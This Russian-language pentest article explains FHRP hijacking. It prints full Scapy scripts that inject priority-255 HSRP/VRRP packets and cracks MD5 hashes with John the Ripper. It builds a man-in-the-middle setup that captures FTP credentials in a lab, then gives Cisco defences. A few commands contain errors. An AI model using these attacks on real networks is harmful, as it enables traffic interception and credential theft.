- Пентест и атака на протоколы HSRP и VRRP
- FHRP Hijacking
- Подготовка кастомной инъекции
- Виртуальная лаборатория
- Взлом MD5-аутентификации
- Атака на HSRP и перехват трафика
- Атака на VRRP и перехват трафика
- Как защититься от пентеста FHRP (HSRP и VRRP)
- Приоритет 255
- Аутентификация
- Ограничение трафика HSRP
- Заключение
Есть много способов улучшить отказоустойчивость и надежность корпоративной сети. Не редко для этого используются протоколы первого перехода FHRP. В статье я покажу работу с FHRP, протоколами HSRP и VRRP во время пентестов и атак на сеть.
Еще по теме: Используем STP Root Hijacking для перехвата трафика
Пентест и атака на протоколы HSRP и VRRP
Для начала давайте разберемся, что такое FHRP, HSRP и VRRP.
Семейство протоколов FHRP (First Hop Redundancy Protocol) обеспечивает избыточность сетевого шлюза. Если коротко, то смысл в том, чтобы объединить несколько физических маршрутизаторов в один логический с общим IP-адресом. Данный адрес виртуального маршрутизатора будет назначен на интерфейс маршрутизатора с главенствующей ролью, а тот, в свою очередь, займется перенаправлением трафика.
Самые популярные протоколы класса FHRP — это HSRP и VRRP, о них мы сегодня и поговорим.
FHRP Hijacking
Техника этой сетевой атаки заключается в том, чтобы навязать свое устройство в качестве главного маршрутизатора с помощью инъекции HSRP- или VRRP-пакета с максимальным значением приоритета. Успешная эксплуатация приводит к MITM-атаке, в результате которой вы сможете перехватить весь трафик внутри сети, провести редирект или вызвать DoS. Достаточно собрать HSRP- или VRRP-пакет с наивысшим значением приоритета 255 и направить его в сторону локальной сети. Согласитесь, не слишком сложно.
Так как во время атаки на FHRP надо взаимодействовать с легитимными маршрутизаторами — шлюзами по умолчанию для конечных хостов, необходимо очень быстро выполнять все свои действия, начиная от инъекции и заканчивая организацией форвардинга всего трафика на стороне вашей машины. Если будете медлить во время проведения атаки, конечные хосты словят DoS — ваш заказчик такой сценарий не оценит.
Подготовка кастомной инъекции
Я написал инструменты для атак на FHRP-протоколы, добавив их в свой репозиторий GatewayBleeding. Всегда лучше писать собственные инструменты, так вы понимаете весь процесс эксплуатации с нуля, что очень важно. Кроме того, это будет выделять вас на фоне остальных.
Чтобы вы понимали принцип эксплуатации, я разберу весь программный код скриптов HSRPWN.py и VRRPWN.py.
Инструменты написаны на Python версии 3.
HSRPWN.py
Для начала нам необходимо импортировать библиотеку Scapy, а также модуль для работы с L2-протоколами и протоколом HSRP. Кроме того, подключим модуль argparse, чтобы сделать скрипт параметризированным.
1 2 3 4 |
from scapy.all import * from scapy.layers.l2 import * from scapy.layers.hsrp import * import argparse |
В переменную HSRPMulticastAddr запишем значение IP-адреса мультикастовой рассылки HSRPv1.
1 |
HSRPMulticastAddr = "224.0.0.2" |
Объявляем функцию take_arguments. Она будет обрабатывать введенные пользователем входящие параметры:
- интерфейс, с которого будут отправляться пакеты (переменная interface);
- номер группы HSRP (переменная group);
- IP-адрес атакующего (переменная attackerip);
- виртуальный IP-адрес домена HSRP (переменная vip);
- ключ для аутентификации (переменная auth).
Парсить введенные параметры будет parser.parse_args(). Результат выполнения функции запишется в переменную args.
1 2 3 4 5 6 7 8 9 |
def take_arguments(): parser = argparse.ArgumentParser() parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface") parser.add_argument("--group", dest="group", type=int, required=True, help="Choose HSRP group ID value") parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address") parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify HSRP Virtual IP address") parser.add_argument("--auth", dest="auth", type=str, required=True, help="Enter the auth HSRP passphrase") args = parser.parse_args() return args |
В функции inject происходит сборка инъекции HSRP-пакета с наибольшим значением приоритета 255. Значения для переменных внутри слоев пакетов извлекаются из указанных значений аргументов пользователем args.*. При этом:
- в переменной L2frame собирается Ethernet-фрейм;
- в переменной L3packet собирается сетевой пакет с IP-адресом источника и IP-адресом назначения. TTL будет равен 1. Если отправишь пакет не с этим TTL — маршрутизаторы отбросят его;
- в переменной UDP_layer создается UDP-слой с портом источника 1985 и портом назначения 1985;
- в переменной evil_hsrp создается вредоносный HSRP-пакет со значением приоритета 255, номером группы HSRP, значением виртуального IP-адреса и ключом аутентификации;
- в переменной crafted собирается сам пакет с кадром, сетевым IP-пакетом, слоем UDP и самим протоколом HSRP.
1 2 3 4 5 6 7 |
def inject(interface, group, attackerip, vip, auth): L2frame = Ether() L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1) UDP_layer = UDP(sport=1985, dport=1985) evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.vip, auth=args.auth) crafted = L2frame / L3packet / UDP_layer / evil_hsrp sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1) |
Далее с помощью метода sendp собранный пакет через каждые три секунды отправляется с указанного пользователем интерфейса. Работу скрипта ни в коем случае нельзя прекращать: если он упадет, пакеты перестанут рассылаться, легитимные маршрутизаторы признают наше устройство «погибшим» и перестроят свои роли в домене.
В конце скрипта вызываем функции take_arguments и inject.
1 2 |
args = take_arguments() inject(args.interface, args.group, args.attackerip, args.vip, args.auth) |
VRRPWN.py
Здесь почти все то же самое, что и с HSRPWN.py, но имеются и некоторые отличия.
Импортируем модуль для работы с протоколом VRRP:
1 |
from scapy.layers.vrrp import * |
В переменной VRRPMulticastAddr указывается IP-адрес мультикастовой рассылки 224.0.0.18:
1 |
VRRPMulticastAddr = "224.0.0.18" |
Функция take_arguments будет обрабатывать введенные пользователем входящие параметры:
- интерфейс, с которого будут отправляться пакеты (переменная interface);
- номер группы HSRP (переменная group);
- IP-адрес атакующего (переменная attackerip);
- виртуальный IP-адрес домена HSRP (переменная vip).
1 2 3 4 5 6 7 8 |
def take_arguments(): parser = argparse.ArgumentParser() parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface") parser.add_argument("--group", dest="group", type=int, required=True, help="Choose VRRP group ID value") parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address") parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify VRRP Virtual IP address") args = parser.parse_args() return args |
Что тут происходит:
- В L2frame собирается Ethernet-фрейм.
- В L3packet собирается IP-пакет с IP-адресом источника и IP-адресом назначения. TTL будет равен 255. Если отправишь пакет не с этим TTL — маршрутизаторы отбросят его.
- В evil_vrrp создается вредоносный VRRP-пакет со значением приоритета 255, номером группы VRRP и значением виртуального IP-адреса.
- В crafted собирается сам пакет с кадром, сетевым IP-пакетом и самим протоколом VRRP.
1 2 3 4 5 6 |
def inject(interface, group, attackerip, vip): L2frame = Ether() L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255) evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip) crafted = L2frame / L3packet / evil_vrrp sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1) |
В данном скрипте нет слоя протоколов транспортного уровня. VRRP работает исключительно на сетевом уровне и не реализован поверх стека протоколов TCP/IP.
В конце скрипта вызываем функции take_arguments и inject:
1 2 |
args = take_arguments() inject(args.interface, args.group, args.attackerip, args.vip) |
Виртуальная лаборатория
Чтобы показать эксплуатацию на практике, я подготовил небольшой лабораторный стенд.
Здесь: — Dustup — это FTP-сервер; — Kali выступает в качестве атакующей машины; — Radiant — клиентская машина с Windows 10 LTSC; — SW2 и SW4 — коммутаторы Cisco vIOS; — R1 и R2 — маршрутизаторы Cisco vIOS.
Домен HSRP
Мы будем использовать версию HSRPv1.
Домен VRRP
На этом стенде используется версия VRRPv2.
Взлом MD5-аутентификации
Доступ к доменам FHRP может быть защищен аутентификацией. В большинстве случаев используется MD5-аутентификация. Я покажу, как можно сбрутить пароль, при этом получив хеш из дампа сетевого трафика.
Сохраняем дамп трафика в файл hsrp_encrypted.pcap. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика HSRP с хешами.
1 |
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap |
Копируем хеши в отдельный файл hsrp_md5_hashes.txt и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist. JTR сам определит тип хеша, находящийся в файле.
1 |
necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt |
Пароль от домена HSRP — admin.
Теперь разберем такой же кейс с доменом VRRP.
Сохраняем дамп в файл vrrp_encrypted.pcap. Далее используем утилиту pcap2john и подаем ей на вход дамп трафика VRRP с хешами.
1 |
necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap |
Копируем хеши в отдельный файл vrrp_md5_hashes.txt и с помощью John The Ripper начинаем перебирать пароли, указав словарь через параметр --wordlist.
Как и в прошлом случае, тип хеша определяется автоматически.
1 |
necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt |
Пароль от VRRP-домена — cerberus.
Атака на HSRP и перехват трафика
Необходимо в первую очередь перевести сетевой интерфейс в неразборчивый режим и разрешить форвардинг на машине:
1 2 |
necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1 |
Запускаем скрипт HSRPWN.py, указываем интерфейс, IP-адрес атакующего, виртуальный IP-адрес, номер группы и ключ аутентификации.
1 |
necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254 --auth cisco |
Конфигурация HSRP на маршрутизаторах R1 и R2 до выполнения инъекции:
1 2 3 4 5 |
R1# show standby brief P indicates configured to preempt. | Interface Grp Pri P State Active Standby Virtual IP Gi0/0 1 150 Active local 10.1.1.200 10.1.1.254 |
1 2 3 4 5 |
R2# show standby brief P indicates configured to preempt. | Interface Grp Pri P State Active Standby Virtual IP Gi0/0 1 100 Standby 10.1.1.100 local 10.1.1.254 |
А вот поведение конфигурации HSRP на маршрутизаторах R1 и R2 после выполнения инъекции:
1 2 3 4 5 |
R1# show standby brief P indicates configured to preempt. | Interface Grp Pri P State Active Standby Virtual IP Gi0/0 1 150 Standby 10.1.1.2 local 10.1.1.254 |
1 2 3 4 5 |
R2# show standby brief P indicates configured to preempt. | Interface Grp Pri P State Active Standby Virtual IP Gi0/0 1 100 Listen 10.1.1.2 10.1.1.100 10.1.1.254 |
Как видите, маршрутизаторы R1 и R2 изменили свои роли. Теперь они признают хост с IP-адресом 10.1.1.2 как Active-роутер.
На этом этапе нужно создать вторичный IP-адрес на интерфейсе eth0 с указанием виртуального IP-адреса группы HSRP:
1 |
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0 |
Далее необходимо удалить все маршруты на вашей машине и создать единственный, который будет проходить через один из легитимных маршрутизаторов. В качестве следующего шлюза можно указать IP-адрес одного из маршрутизаторов R1 или R2. Даже несмотря на то, что мы у него «отжали» роль Active-роутера, он все равно сможет выполнять маршрутизацию и направить трафик до хоста либо сети назначения. Пропишем все же маршрут через IP-адрес маршрутизатора R1 — 10.1.1.100:
1 2 3 |
necreas1ng@Mercy:~$ sudo del default gw necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0 necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0 |
Сейчас вы видите только исходящий трафик. Было бы неплохо получить также и входящий. Небольшое правило для NAT решит эту задачу.
1 |
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE |
После атаки я попробую с машины под именем Radiant подключиться к FTP-серверу под именем Dustup. Посмотрим, увенчалась ли атака успехом.
1 |
C:\Users\radiant>ftp 172.20.20.50 |
В конечном счете мы смогли перехватить легитимный трафик. Даже добыли креды от FTP-сервера mercy:i_dont_trust_you.
В этом кейсе вы перехватываете абсолютно весь трафик внутри сети, а подключение к FTP-серверу будет служить примером, чтобы показать импакт от атаки.
Атака на VRRP и перехват трафика
Запускаем скрипт VRRPWN.py:
1 |
necreas1ng@Mercy:~$ sudo python3 VRRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254 |
Вы можете заметить, что только 10.1.1.2 рассылает объявления. Это говорит о том, что мы стали Master-роутером.
Вот поведение VRRP на маршрутизаторах R1 и R2 до инъекции:
1 2 3 |
R1# show vrrp brief Interface Grp Pri Time Own Pre State Master addr Group addr Gi0/0 1 150 3414 Y Master 10.1.1.100 10.1.1.254 |
1 2 3 |
R2# show vrrp brief Interface Grp Pri Time Own Pre State Master addr Group addr Gi0/0 1 100 3609 Y Backup 10.1.1.100 10.1.1.254 |
А вот поведение VRRP на маршрутизаторах R1 и R2 после инъекции:
1 2 3 |
R1# show vrrp brief Interface Grp Pri Time Own Pre State Master addr Group addr Gi0/0 1 150 3414 Y Backup 10.1.1.2 10.1.1.254 |
1 2 3 |
R2# show vrrp brief Interface Grp Pri Time Own Pre State Master addr Group addr Gi0/0 1 100 3609 Y Backup 10.1.1.2 10.1.1.254 |
Маршрутизаторы R1 и R2 изменили свои роли. Теперь они признают хост с IP-адресом 10.1.1.2 как Master-роутер.
Затем нужно создать вторичный IP-адрес на интерфейсе eth0 с указанием виртуального IP-адреса группы VRRP:
1 |
necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0 |
Далее удаляем все маршруты на машине и создаем единственный через роутер R1:
1 2 3 |
necreas1ng@Mercy:~$ sudo del default gw necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0 necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0 |
И напоследок правило для SNAT:
1 |
necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE |
После атаки я попробую подключиться с машины под именем Radiant к FTP-серверу под именем Dustup.
В итоге получился тот же сценарий: мы видим абсолютно весь трафик, но в рамках данного кейса меня интересовал только FTP-трафик. Перехваченные креды — betrayal:punish_you.
Как защититься от пентеста FHRP (HSRP и VRRP)
Приоритет 255
Из соображений безопасности рекомендуется на Master- или Active-маршрутизаторе выставить максимальный приоритет. В таком случае, если злоумышленник отправит вредоносный пакет с приоритетом 255, у него не выйдет стать «главным», поскольку таковой уже имеется.
В этой статье я ориентируюсь на принципы и команды Cisco IOS CLI.
Конфигурация для HSRP, группа 1:
1 2 |
R1(config)# int g0/0 R1(config-if)# standby 1 priority 255 |
Конфигурация для VRRP, группа 1:
1 2 |
R1(config)# int g0/0 R1(config-if)# vrrp 1 priority 254 |
Аутентификация
Если вы собрались защищать домен FHRP с помощью парольной аутентификации, обязательно позаботьтесь о стойкости пароля, чтобы его не сбрутили. Как видите, хеш в открытом виде передается по сети, поэтому у хакера имеются шансы перебрать пароль.
Конфигурация MD5-аутентификации для HSRP, группа 1:
1 |
R1(config-if)#standby 1 authentication md5 key-string all_h3re_f0r_y0u |
Конфигурация MD5-аутентификации для VRRP, группа 1:
1 |
R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u |
Кстати говоря, оборудование Cisco может похвастаться наличием keychain-аутентификации. В таком случае конфигурируются два ключа и даже можно настроить интервалы времени, когда будет приниматься и отправляться ключ.
Такой подход в значительной степени усложняет жизнь злоумышленнику, поскольку ему придется не только брутить пароль, но и угадать последовательность ключей и подходящий для их передачи промежуток времени.
Ниже я привожу пример конфигурации keychain в отношении маршрутизатора R1 для HSRP, для VRRP она тоже подойдет. Такую же конфигурацию следует настроить на остальных маршрутизаторах в рамках одного домена.
1 2 3 4 5 6 7 8 9 10 11 12 |
R1#conf t # Входим в режим глобальной конфигурации R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под названием SecureFHRP R1(config-keychain)# key 1 # Создаем первый ключ R1(config-keychain-key)# key-string gu1d1ng_l1ght # Указываем пароль R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу R1(config-keychain)# key 2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу R1(config)# interface GigabitEthernet 0/1 # Входим в режим конфигурации интерфейса R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP # Включаем MD5-аутентификацию с использованием keychain для группы HSRP 1 |
Ограничение трафика HSRP
HSRP использует протокол транспортного уровня UDP для приема и передачи служебных объявлений. С помощью настройки ACL (Access List Control) мы можем ограничить трафик UDP по портам источника и назначения 1985. Если злоумышленник будет проводить инъекцию HSRP-пакетов, эти пакеты будут отброшены механизмом ACL.
Пример конфигурации расширенного ACL для безопасности HSRPv1:
1 2 3 4 5 6 |
R1(config)# ip access-list extended DropHSRP # Создаем расширенный ACL с названием DropHSRP R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2 R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985 R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный ACL к интерфейсу на IN |
Расширенный ACL для версии HSRPv2:
1 2 3 4 5 6 |
R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный ACL с названием DropHSRP R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2 R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985 R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса R1(config-if)# ip access-group DropHSRPv2 in # Привязываем настроенный ACL к интерфейсу на IN |
Во время настройки ACL используются обратные маски (Wild Card masks).
Заключение
Протоколы класса FHRP помогают организовать систему горячего резервирования шлюзов. Такие системы широко распространены в рамках рассмотренного нами кейса. Но теперь вы знаете, что может произойти с сетью, если инженер не позаботился о безопасности конфигурации самих FHRP-протоколов.
Кстати говоря, FHRP Hijacking может служить альтернативой ARP-спуфингу. В сетях AD открываются все возможности для Relay-атак и сбора информации, также можно реализовать фишинговые атаки и многое другое. Эта статья подскажет новые векторы атак для пентестеров, а сетевые администраторы обзаведутся новыми кейсами, чтобы повысить безопасность своей сети.
Полезные ссылки:
- Атаки на сети VLAN
- Использование атаки CAM Table Overflow в пентесте
- Сетевая разведка и перехват трафика с помощью ARP